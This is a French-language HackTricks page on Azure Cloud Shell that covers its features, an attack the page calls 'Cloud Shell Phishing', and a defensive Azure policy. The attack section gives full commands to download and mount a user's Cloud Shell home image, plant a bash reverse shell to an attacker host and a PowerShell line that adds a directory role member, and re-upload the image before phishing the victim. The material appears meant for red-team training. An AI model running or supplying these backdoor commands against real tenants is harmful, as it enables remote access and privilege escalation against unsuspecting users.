Az - Cloud Shell
Reading time: 6 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Azure Cloud Shell
Azure Cloud Shell est un terminal interactif, authentifié et accessible via un navigateur, conçu pour gérer les ressources Azure, offrant la flexibilité de travailler avec Bash ou PowerShell. Il fonctionne sur un hôte temporaire par session qui expire après 20 minutes d'inactivité, tout en conservant les fichiers dans l'emplacement $HOME à l'aide d'un partage de fichiers de 5 Go. Cloud Shell peut être accessible par plusieurs points, y compris le portail Azure, shell.azure.com, la documentation Azure CLI et PowerShell, l'application mobile Azure, et l'extension Azure Account de Visual Studio Code.
Il n'y a pas de permissions assignées à ce service, donc il n'y a pas de techniques d'escalade de privilèges. De plus, il n'y a pas de type d'énumération.
Key Features
- Outils préinstallés : Cloud Shell comprend un ensemble complet d'outils préinstallés tels que Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git, et des éditeurs de texte comme vim, nano, et emacs. Ces outils sont prêts à l'emploi. Pour lister les paquets et modules installés, vous pouvez utiliser "Get-Module -ListAvailable", "tdnf list" et "pip3 list".
- Lecteur Azure (Azure:) : PowerShell dans Azure Cloud Shell inclut le lecteur Azure (Azure:), qui permet une navigation facile des ressources Azure comme Compute, Network, et Storage en utilisant des commandes similaires à celles du système de fichiers. Passez au lecteur Azure avec cd Azure: et revenez à votre répertoire personnel avec cd ~. Vous pouvez toujours utiliser les cmdlets Azure PowerShell pour gérer les ressources depuis n'importe quel lecteur.
- Installation d'outils personnalisés : Les utilisateurs qui configurent Cloud Shell avec un compte de stockage peuvent installer des outils supplémentaires qui ne nécessitent pas de permissions root. Cette fonctionnalité permet une personnalisation supplémentaire de l'environnement Cloud Shell, permettant aux utilisateurs d'adapter leur configuration à leurs besoins spécifiques.
- Persistance $HOME : Lors du premier démarrage d'Azure Cloud Shell, vous pouvez l'utiliser avec ou sans un compte de stockage attaché.
- Choisir de ne pas attacher de stockage crée une session éphémère où les fichiers sont supprimés à la fin de la session.
- Pour persister les fichiers entre les sessions, vous avez la possibilité de monter un compte de stockage, qui s'attache automatiquement en tant que
$HOME\clouddrive
, avec votre répertoire$HOME
sauvegardé sous forme de fichier .img dans un partage de fichiers.
Cloud Shell Phishing
Si un attaquant trouve d'autres images d'utilisateurs dans un compte de stockage auquel il a accès en écriture et en lecture, il pourra télécharger l'image, ajouter un backdoor bash et PS dedans, et la télécharger à nouveau dans le compte de stockage afin que la prochaine fois que l'utilisateur accède au shell, les commandes seront automatiquement exécutées.
- Télécharger, backdoor et uploader l'image :
# Download image
mkdir /tmp/phishing_img
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name>
# Mount image
cd /tmp/phishing_img/.cloudconsole
mkdir /tmp/cloudpoison
sudo mount acc_username.img /tmp/cloudpoison
cd /tmp/cloudpoison
sudo mkdir .config
sudo mkdir .config/PowerShell
sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
# Bash backdoor
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
# PS backdoor
echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
cd /tmp
sudo umount /tmp/cloudpoison
# Upload image
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img"
- Ensuite, hameçonner l'utilisateur pour accéder à https://shell.azure.com/
Trouver et interdire les comptes de stockage automatiques de Cloud Shell
Les comptes de stockage créés par Cloud Shell sont étiquetés avec ms-resource-usage:azure-cloud-shell
. Il est possible de créer une politique de ressources Azure qui désactive la création de ressources avec cette étiquette.
Trouvez tous les comptes de stockage créés par Cloud Shell par étiquettes :
az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")'
Politique interdisant la création de comptes de stockage automatiques pour le stockage de cloud shell en fonction des balises :
{
displayName: "Restrict cloud shell storage account creation",
description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy",
metadata: {
category: "Storage",
version: "1.0.0"
},
mode: "All",
parameters: {
effect: {
type: "String",
metadata: {
displayName: "Effect",
description: "Deny, Audit or Disabled the execution of the Policy"
},
allowedValues: [
"Deny",
"Audit",
"Disabled"
],
defaultValue: "Audit"
}
},
policyRule: {
if: {
allOf: [
{
field: "type",
equals: "Microsoft.Storage/storageAccounts"
},
{
field: "tags['ms-resource-usage']",
equals: "azure-cloud-shell"
}
]
},
then: {
effect: "[parameters('effect')]"
}
}
}
Références
- https://learn.microsoft.com/en-us/azure/cloud-shell/overview
- https://learn.microsoft.com/en-us/azure/cloud-shell/features
- https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window
Persistance
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.